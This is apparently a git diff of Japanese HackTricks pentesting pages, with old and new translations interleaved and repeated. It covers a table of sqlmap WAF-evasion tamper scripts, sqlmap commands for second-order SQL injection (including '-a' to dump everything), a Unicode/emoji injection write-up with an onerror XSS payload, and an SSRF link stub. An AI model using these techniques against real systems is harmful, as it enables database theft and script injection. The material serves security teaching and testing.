| between.py | 大なり演算子'&gt;')を'NOT BETWEEN 0 AND #'に置き換えます |
| bluecoat.py | SQLステートメントの後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字'='をLIKE演算子に置き換えます |
| chardoubleencode.py | 指定されたペイロード内のすべての文字を2回URLエンコードしますすでにエンコードされているものは処理しません) |
| commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます |
| commalessmid.py | 'MID\(A, B, C\)'のようなインスタンスを'MID\(A FROM B FOR C\)'に置き換えます |
| concat2concatws.py | 'CONCAT\(A, B\)'のようなインスタンスを'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'に置き換えます |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされているものは処理しません) |
| charunicodeencode.py | 指定されたペイロード内の未エンコードの文字をUnicode-URLエンコードしますすでにエンコードされているものは処理しません"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の未エンコードの文字をUnicode-URLエンコードしますすでにエンコードされているものは処理しません"\u0022" |
| equaltolike.py | すべての等しい演算子('=')を'LIKE'演算子に置き換えます |
| escapequotes.py | クォート文字('および")をスラッシュでエスケープします |
| greatest.py | 大なり演算子'&gt;')を'GREATEST'に置き換えます |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン指定のMySQLコメントを追加します |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)'のようなインスタンスを'IF\(ISNULL\(A\), B, A\)'に置き換えます |
| modsecurityversioned.py | バージョン指定コメントでクエリ全体を囲みます |
| modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応文字に置き換えます |
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます |
| appendnullbyte.py | ペイロードの最後にエンコードされたNULLバイト文字を追加します |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします |
| between.py | 大なり演算子 \('&gt;'\) を 'NOT BETWEEN 0 AND \#' に置き換えます |
| bluecoat.py | SQLの後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます |
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードしますすでにエンコードされたものは処理しません) |
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます |
| commalessmid.py | 'MID\(A, B, C\)' のようなインスタンスを 'MID\(A FROM B FOR C\)' に置き換えます |
| concat2concatws.py | 'CONCAT\(A, B\)' のようなインスタンスを 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' に置き換えます |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされものは処理しません) |
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません"\u0022" |
| equaltolike.py | 演算子等号 \('='\) のすべての出現を演算子 'LIKE' に置き換えます |
| escapequotes.py | スラッシュで引用符 \(' と "\) をエスケープします |
| greatest.py | 大なり演算子 \('&gt;'\) を 'GREATEST' 対応物に置き換えます |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' のようなインスタンスを 'IF\(ISNULL\(A\), B, A\)' に置き換えます |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えますたとえば.replace\("SELECT", ""\)フィルター) |
| percentage.py | 各文字の前にパーセンテージ記号('%'を追加します |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません) |
| nonrecursivereplacement.py | 置き換えに適した表現で事前定義されたSQLキーワードを置き換えます .replace\("SELECT", ""\) フィルター) |
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされものは処理しません) |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します |
| securesphere.py | 特別に作成された文字列を追加します |
| sp\_password.py | ペイロードの末尾に'sp\_password'を追加して、DBMSログからの自動難読化を行います |
| space2comment.py | スペース文字(' ')をコメントに置き換えます |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2hash.py | スペース文字(' ')をポンド文字('\#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2morehash.py | スペース文字(' ')をポンド文字('\#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字セットからのランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字(' ')をポンド文字('\#')に置き換え、その後に改行('\n')を追加します |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字セットからのランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます |
| space2randomblank.py | スペース文字(' ')を有効な代替文字セットからのランダムな空白文字に置き換えます |
| symboliclogical.py | ANDおよびOR論理演算子をそれぞれのシンボルに置き換えます&&および |
| unionalltounion.py | 'UNION ALL SELECT'を'UNION SELECT'に置き換えます |
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27と一緒に一般的なコメントで置き換えます機能させるために |
| uppercase.py | 各キーワード文字を大文字の値'INSERT'に置き換えます |
| varnish.py | HTTPヘッダー'X-originating-IP'を追加します |
| versionedkeywords.py | 関数でない各キーワードをバージョン指定のMySQLコメントで囲みます |
| versionedmorekeywords.py | 各キーワードをバージョン指定のMySQLコメントで囲みます |
| xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します |
| sp\_password.py | ペイロードの最後に 'sp\_password' を追加してDBMSログから自動的に難読化します |
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます |
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2hash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2morehash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2mssqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字 \(' '\) をポンド文字 \('\#'\) に置き換え、その後に改行 \('\n'\) を追加します |
| space2mysqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後に改行 \('\n'\) を追加します |
| space2plus.py | スペース文字 \(' '\) をプラス \('+'\) に置き換えます |
| space2randomblank.py | スペース文字 \(' '\) を有効な代替文字のセットからランダムな空白文字に置き換えます |
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物 \(&& と | に置き換えます |
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます |
| unmagicquotes.py | 引用文字 \('\) をマルチバイトコンボ %bf%27 と一般的なコメントで置き換えます(機能させるため) |
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます |
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します |
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます |
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます |
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します |
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**SQLMap はセカンドオーダーSQLiを悪用できます。**\
提供する必要があります:
**SQLMapはセカンドオーダーSQLiを悪用できます。**\
提供する必要があるのは:
* **SQLインジェクションペイロード** が保存される **リクエスト**
* **ペイロード****実行** される **リクエスト**
* **SQLインジェクションペイロード**が保存される**リクエスト**
* **ペイロード**が**実行される****リクエスト**
SQLインジェクションペイロードが保存されるリクエストは、**sqlmap他のインジェクションと同様に示されます**。インジェクションの出力/実行を読み取ることができるリクエストは、`--second-url` またはファイルから完全なリクエストを指定する必要がある場合は `--second-req` で示すことができます。
SQLインジェクションペイロードが保存されるリクエストは、**sqlmap他のインジェクションと同様に示されます**。SQLインジェクションの**出力/実行**sqlmapが読み取ることができるリクエストは、`--second-url`またはファイルから完全なリクエストを示す必要がある場合は`--second-req`で示すことができます。
**シンプルなセカンドオーダーの例:**
**シンプルなセカンドオーダーの例**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -29,9 +30,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
複数のケースでは、これだけでは**不十分**な場合があります。なぜなら、ペイロードを送信して別のページにアクセスする以外にも、**他のアクションを実行する必要がある**かもしれないからです。
いくつかのケースでは**これだけでは不十分です**。なぜなら、ペイロードを送信し、別のページにアクセスする以外に**他のアクションを実行する必要がある**からです。
そのような場合には、**sqlmap tamper**を使用できます。たとえば、次のスクリプトは**sqlmapペイロードをメールアドレスとして使用**して新しいユーザーを登録し、ログアウトします。
これが必要な場合は、**sqlmap tamper**を使用できます。たとえば、次のスクリプトは**sqlmapペイロードをメールとして使用して**新しいユーザーを登録し、ログアウトします。
```python
#!/usr/bin/env python
@ -59,16 +60,16 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
**SQLMapのタンパーは、ペイロードを使用してインジェクションを試みる前に常に実行され、ペイロードを返す必要があります。** この場合、私たちはペイロード自体には興味がなく、リクエストを送信することに関心があるため、ペイロードは変更されません。
A **SQLMap tamperは、ペイロードを使用してインジェクションを試みる前に常に実行され** **、ペイロードを返す必要があります**。この場合、ペイロードには関心がありませんが、いくつかのリクエストを送信することに関心があるため、ペイロードは変更されません。
したがって、第2のオーダーSQLインジェクションを悪用するためにより複雑なフローが必要な場合、次のような手順があります
したがって、何らかの理由で、次のような第二次SQLインジェクションを悪用するためにより複雑なフローが必要な場合
- "email"フィールドにSQLiペイロードを含むアカウントを作成
- ログアウト
- そのアカウントでログインlogin.txt
- SQLインジェクションを実行するためのリクエストを送信second.txt
* "email"フィールドにSQLiペイロードを含むアカウントを作成
* ログアウト
* そのアカウントでログインlogin.txt
* SQLインジェクションを実行するリクエストを送信second.txt
**このsqlmapのコマンドラインが役立ちます:**
**このsqlmapのが役立ちます:**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -83,16 +84,17 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローする。
* **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SSRF脆弱なプラットフォーム
# SSRF 脆弱なプラットフォーム
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
**[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**を確認してください。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# Unicode Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## はじめに
## Introduction
バックエンド/フロントエンドが**奇妙なUnicode文字を受け取ったときの挙動**に応じて、攻撃者は**保護をバイパスし、任意の文字をインジェクト**して、XSSやSQLiなどの**インジェクション脆弱性を悪用**する可能性があります。
バックエンド/フロントエンドが**奇妙なユニコード文字を受け取ったとき**にどのように動作するかによって、攻撃者は**保護を回避し、任意の文字を注入する**ことができ、これによりXSSやSQLiなどの**注入脆弱性を悪用する**ことができます。
## Unicode正規化
## Unicode Normalization
Unicode正規化は、**Unicode文字がASCII文字に正規化**されるときに発生します。
ユニコード正規化は、**ユニコード文字がASCII文字に正規化される**ときに発生します。
このタイプの脆弱性の一般的なシナリオは、システムがユーザーの**入力をチェックした後に何らかの方法で変更**している場合です。たとえば、いくつかの言語では、**入力を大文字または小文字に変換**するだけの呼び出しで、与えられた入力が正規化され、**UnicodeがASCIIに変換**されて新しい文字が生成される可能性があります。\
詳細については、次を参照してください:
この種の脆弱性の一般的なシナリオは、システムが**ユーザーの入力をチェックした後に**何らかの形で**変更**する場合に発生します。たとえば、いくつかの言語では、**入力を大文字または小文字にする**ための単純な呼び出しが、与えられた入力を正規化し、**ユニコードがASCIIに変換され**新しい文字が生成される可能性があります。\
詳細については、次を確認してください:
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
{% endcontent-ref %}
## `\u`を`%`に変換
## `\u` to `%`
Unicode文字は通常、**`\u`接頭辞**で表されます。たとえば、文字`㱋`は`\u3c4b`です([こちらで確認](https://unicode-explorer.com/c/3c4B))。バックエンドが接頭辞**`\u`を`%`に変換**すると、結果の文字列は`%3c4b`になり、URLデコードされると**`<4b`**になりますそして**`<`文字がインジェクト**されていることがわかります。\
バックエンドが脆弱な場合、このテクニックを使用して**任意の種類の文字をインジェクト**できます。\
必要な文字を見つけるには、[https://unicode-explorer.com/](https://unicode-explorer.com/)をチェックしてください。
ユニコード文字は通常、**`\u`プレフィックス**で表されます。たとえば、文字`㱋`は`\u3c4b`です([ここで確認](https://unicode-explorer.com/c/3c4B))。バックエンドが**`\u`プレフィックスを`%`に変換**すると、結果の文字列は`%3c4b`になり、URLデコードると**`<4b`**になりますそして見ての通り、**`<`文字が注入されます**。\
バックエンドが脆弱であれば、この技術を使用して**任意の種類の文字を注入**することができます。\
必要な文字を見つけるには、[https://unicode-explorer.com/](https://unicode-explorer.com/)を確認してください。
この脆弱性は、実際には研究者が見つけた脆弱性に由来します。詳細な説明については、[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)をチェックしてください。
この脆弱性は、研究者が発見した脆弱性から実際に来ています。詳細な説明については、[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)を確認してください。
## 絵文字インジェクション
## Emoji Injection
バックエンドは**絵文字を受け取ったときに何か変な挙動をする**ことがあります。それが起こったのが、[**この解説**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で、研究者が`💋img src=x onerror=alert(document.domain)//💛`などのペイロードでXSSを達成したことです。
バックエンドは、**絵文字を受け取ったとき**に何かおかしな動作をします。これは、研究者がペイロード`💋img src=x onerror=alert(document.domain)//💛`を使用してXSSを達成した[**このレポート**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で起こったことです。
この場合、サーバーが悪意のある文字を削除した後、UTF-8文字列をWindows-1252からUTF-8に**変換**したことがエラーでした(基本的に入力エンコーディングと変換エンコーディングが一致していない)。その後、これは適切な`<`ではなく、奇妙なUnicodeの``を生成します。\
``そのため、この出力を**再度UTF-8からASCIIに変換**しました。これにより、``が`<`に**正規化**され、そのシステムでエクスプロイトが機能する仕組みです。\
この場合、サーバーが悪意のある文字を削除した後、**UTF-8文字列をWindows-1252からUTF-8に変換**したことがエラーでした(基本的に入力エンコーディングと変換元エンコーディングが不一致でした)。そのため、適切な<を提供せず奇妙なユニコードのものを提供しました``\
``そのため、彼らはこの出力を取り、**今度はUTF-8からASCIIに再変換しました**。これにより、``が`<`に**正規化**され、これがそのシステムでのエクスプロイトが機能する方法でした。\
これが起こったことです:
```php
<?php
@ -54,21 +55,22 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
絵文字リスト:
Emojiリスト:
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Webツール - WFuzz
